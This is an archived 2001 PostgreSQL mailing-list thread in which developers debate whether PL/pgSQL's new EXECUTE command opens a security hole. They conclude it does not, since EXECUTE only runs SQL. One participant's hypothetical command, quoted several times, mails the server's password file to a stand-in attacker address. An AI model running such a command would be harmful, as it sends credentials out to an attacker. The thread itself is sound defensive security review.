Damn,

    the  new  EXECUTE  command  in  PL/pgSQL  is a security hole.
    PL/pgSQL is  a  trusted  procedural  language,  meaning  that
    regular  users  can  write  code  in it. With the new EXECUTE
    command, someone could read and write arbitrary  files  under
    the postgres UNIX-userid using the COPY command.

    So  it's  easy  to  overwrite the hba config file for regular
    users. I think we have  to  restrict  the  usage  of  EXECUTE
    inside  of  function  to DB superusers. Meaning, the owner of
    the function using EXECUTE must be superuser, not the  actual
    invoker.

    More  damned  - PL/Tcl has the same functionality since ever.
    And there it isn't that easy to restrict, since it has a much
    more generalized SPI interface. What do we do in this case?


Jan

--

#======================================================================#
# It's easier to get forgiveness for being wrong than for being right. #
# Let's break this rule - forgive me.                                  #
#================================================== JanWieck@Yahoo.com #



_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com


Mon, 29 Jan 2001 10:07:27 -0500 (EST)
Jan Wieck <janwieck@Yahoo.com>
Security hole in PL/pgSQL
Jan Wieck <janwieck@Yahoo.com> writes:
>     the  new  EXECUTE  command  in  PL/pgSQL  is a security hole.
>     PL/pgSQL is  a  trusted  procedural  language,  meaning  that
>     regular  users  can  write  code  in it. With the new EXECUTE
>     command, someone could read and write arbitrary  files  under
>     the postgres UNIX-userid using the COPY command.

Huh?  This would only be true if all operations inside plpgsql are
executed as superuser, which they are not.  Seems to me the existing
defense against non-superuser using COPY is sufficient.

			regards, tom lane

Mon, 29 Jan 2001 10:57:01 -0500
Tom Lane <tgl@sss.pgh.pa.us>
Re: Security hole in PL/pgSQL 
> the new EXECUTE command in PL/pgSQL is a security hole.

 This actually  depends but I must  admit that I'm concerned  too. However,
the responsibility  for the results  should be split adequately  IMHO. DBAs
should  take care  about unathorized  access  to PGSQL  server, that's  why
pg_hba.conf  is there.  Programmers allowed  in  must make  sure that  only
relative paths or trusted directories are accessed (stripping out `../' and
prepending a  pre-defined path is  a must) Also, implementation  of EXECUTE
should probably rely upon execle() with environment dropped to known secure
minimum.
 Sorry if this all is already taken into consideration. Just want to second
Jan's statement.


--

 ������������������������������������


Mon, 29 Jan 2001 16:01:02 +0000
KuroiNeko <evpopkov@carrier.kiev.ua>
Re: Security hole in PL/pgSQL
Tom Lane wrote:
> Jan Wieck <janwieck@Yahoo.com> writes:
> >     the  new  EXECUTE  command  in  PL/pgSQL  is a security hole.
> >     PL/pgSQL is  a  trusted  procedural  language,  meaning  that
> >     regular  users  can  write  code  in it. With the new EXECUTE
> >     command, someone could read and write arbitrary  files  under
> >     the postgres UNIX-userid using the COPY command.
>
> Huh?  This would only be true if all operations inside plpgsql are
> executed as superuser, which they are not.  Seems to me the existing
> defense against non-superuser using COPY is sufficient.

Phew,

    you  save  my day. I should better think twice before ringing
    the alarm bell :-)


Jan

--

#======================================================================#
# It's easier to get forgiveness for being wrong than for being right. #
# Let's break this rule - forgive me.                                  #
#================================================== JanWieck@Yahoo.com #



_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com


Mon, 29 Jan 2001 11:29:31 -0500 (EST)
Jan Wieck <janwieck@Yahoo.com>
Re: Security hole in PL/pgSQL
> Huh? This would only be true if all operations inside plpgsql are
> executed as superuser, which they are not. Seems to me the existing
> defense against non-superuser using COPY is sufficient.

 Sorry if I missed the point, but  if I got it right, Pl/Pgsql EXECUTE will
allow execution of any program via exec*() call? If so, this will allow any
(system) user to  execute arbitrary code as postgres  (system) user, right?
If so, how can something like

EXECUTE '/bin/mail badguy@evilhost < /usr/pgsql/data/pg_pwd';

 be avioded?


--

 ������������������������������������


Mon, 29 Jan 2001 16:55:14 +0000
KuroiNeko <evpopkov@carrier.kiev.ua>
Re: Security hole in PL/pgSQL
On Mon, 29 Jan 2001, KuroiNeko wrote:

>  Sorry if I missed the point, but  if I got it right, Pl/Pgsql EXECUTE will
> allow execution of any program via exec*() call? If so, this will allow any
> (system) user to  execute arbitrary code as postgres  (system) user, right?
> If so, how can something like
> 
> EXECUTE '/bin/mail badguy@evilhost < /usr/pgsql/data/pg_pwd';

Being as I was sort of the person who got EXECUTE into plpgsql... I find
it odd that people think you can execute random shell commands.. AFAICS,
EXECUTE is used to execute SQL queries (for when you don't want to cache
the query plan?) ...

  EXECUTE '' CREATE TABLE '' || NEW.dbs_name || '' (
    '' || NEW.dbs_name || ''_id serial,  
    '' || NEW.dbs_name || ''_name varchar(20),
    '' || NEW.dbs_name || ''_desc text,
    '' || NEW.dbs_name || ''_qty int4
  );'';

I don't see how anybody could think you are allowed to execute random
garbage through exec*()...


-- 
Dominic J. Eidson
                                        "Baruk Khazad! Khazad ai-menu!" - Gimli
-------------------------------------------------------------------------------
http://www.the-infinite.org/              http://www.the-infinite.org/~dominic/


Mon, 29 Jan 2001 11:45:59 -0600 (CST)
"Dominic J. Eidson" <sauron@the-infinite.org>
Re: Security hole in PL/pgSQL
KuroiNeko wrote:
> > Huh? This would only be true if all operations inside plpgsql are
> > executed as superuser, which they are not. Seems to me the existing
> > defense against non-superuser using COPY is sufficient.
>
>  Sorry if I missed the point, but  if I got it right, Pl/Pgsql EXECUTE will
> allow execution of any program via exec*() call? If so, this will allow any
> (system) user to  execute arbitrary code as postgres  (system) user, right?
> If so, how can something like
>
> EXECUTE '/bin/mail badguy@evilhost < /usr/pgsql/data/pg_pwd';
>
>  be avioded?

    No,  EXECUTE  just passes a string down to SPI_exec() without
    trying to prepare and save an execution plan for it. It's not
    equivalent to system(3).


Jan

--

#======================================================================#
# It's easier to get forgiveness for being wrong than for being right. #
# Let's break this rule - forgive me.                                  #
#================================================== JanWieck@Yahoo.com #



_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com


Mon, 29 Jan 2001 13:16:03 -0500 (EST)
Jan Wieck <janwieck@Yahoo.com>
Re: Security hole in PL/pgSQL
> Being as I was sort of the person who got EXECUTE into plpgsql... I find
> it odd that people think you can execute random shell commands.. AFAICS,
> EXECUTE is used to execute SQL queries (for when you don't want to cache
> the query plan?) ...

 Got it. Thanks. Sorry for the hassle. Back lurking in the shadows.


--

 ������������������������������������


Mon, 29 Jan 2001 18:41:27 +0000
KuroiNeko <evpopkov@carrier.kiev.ua>
Re: Security hole in PL/pgSQL